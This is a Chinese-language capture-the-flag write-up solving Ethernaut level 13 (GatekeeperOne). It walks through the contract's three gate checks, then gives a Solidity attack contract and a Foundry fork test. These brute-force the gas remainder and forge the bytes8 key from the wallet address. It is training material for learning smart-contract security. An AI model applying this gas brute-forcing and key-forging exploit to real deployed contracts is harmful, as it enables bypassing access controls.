# Ethernaut CTF Level 13 - GatekeeperOne
## 題目
跨越守衛的守衛並且註冊成為參賽者吧。
可能會有用的資訊
回憶一下你在 Telephone 和 Token 關卡學到了什麼
可以去翻翻 Solidity 文件,更深入的了解一下 `gasleft()` 函式的資訊
```solidity=
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract GatekeeperOne {
address public entrant;
modifier gateOne() {
require(msg.sender != tx.origin);
_;
}
modifier gateTwo() {
require(gasleft() % 8191 == 0);
_;
}
modifier gateThree(bytes8 _gateKey) {
require(uint32(uint64(_gateKey)) == uint16(uint64(_gateKey)), "GatekeeperOne: invalid gateThree part one");
require(uint32(uint64(_gateKey)) != uint64(_gateKey), "GatekeeperOne: invalid gateThree part two");
require(uint32(uint64(_gateKey)) == uint16(uint160(tx.origin)), "GatekeeperOne: invalid gateThree part three");
_;
}
function enter(bytes8 _gateKey) public gateOne gateTwo gateThree(_gateKey) returns (bool) {
entrant = tx.origin;
return true;
}
}
```
<br>
## 分析
此題難度開始增加,從modifier可以看到有三個關卡要通過
### gateOne
`require(msg.sender != tx.origin);`
相對簡單,只要寫個合約,用Metamask呼叫即可達成條件
### gateTwo
`require(gasleft() % 8191 == 0);`
在呼叫這個modifier的時候,所剩的gas需要能被8191整除
這邊我的對應方式是用暴力破解
我們可以用forloop去觀看循環到踏入`gateThree()`的時候的fail revert

### gateThree
簡化一下code,一個 uint64 (byte8) 的 key要滿足以下三個條件
```solidity=
uint32(uint64(_gateKey)) == uint16(uint64(_gateKey))
uint32(uint64(_gateKey)) != uint64(_gateKey)
uint32(uint64(_gateKey)) == uint16(uint160(tx.origin))
```
以我的錢包末四碼是0939
可以構造一個 key `0xFFFFFFFF00000939`來達成
- 0x00000939 == 0x0939
- 0x00000939 != 0xFFFFFFFF00000939
- 0x00000939 == 0x0939 (末四碼)
<br>
## 攻擊
綜觀上述思路,可以寫個簡單的合約如下
```solidity=
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract Hack{
function attack_() public {
bytes8 key = 0xFFFFFFFF00000939;
for (uint256 i = 250; i < 500; i++) {
(bool result,) = address(<INSTANCE>).call{gas:i + 8191 * 3}(abi.encodeWithSignature("enter(bytes8)",key));
if (result) {
break;
}
}
}
}
```
<br>
## Foundry Test
```solidity=
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.0;
import "forge-std/Test.sol";
import "forge-std/Vm.sol";
import "../src/levels/13-GatekeeperOne/GatekeeperOne.sol";
contract ContractTest is Test {
AttackContract attackContract;
GatekeeperOne level13 =
GatekeeperOne(payable(0x0eDF7E447741A21ED33F14C13842639910F36c8b));
function setUp() public {
Vm vm = Vm(address(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D));
vm.createSelectFork(vm.rpcUrl("sepolia"));
vm.label(address(this), "Attacker");
vm.label(
address(0x0eDF7E447741A21ED33F14C13842639910F36c8b),
"Ethernaut13"
);
attackContract = new AttackContract();
}
function testEthernaut13() public {
attackContract.enter();
}
receive() external payable {}
}
contract AttackContract {
GatekeeperOne level13 =
GatekeeperOne(payable(0x0eDF7E447741A21ED33F14C13842639910F36c8b));
function enter() public {
bytes8 _gateKey = bytes8(uint64(uint160(tx.origin))) &
0xffffffff0000ffff;
for (uint256 i = 0; i < 300; i++) {
(bool result, ) = address(level13).call{gas: i + 8191 * 3}(
abi.encodeWithSignature("enter(bytes8)", _gateKey)
);
if (result) {
// example: i = 256 with key 0x83f33e0700001f38
console.log(i);
break;
}
}
}
}
```
<br>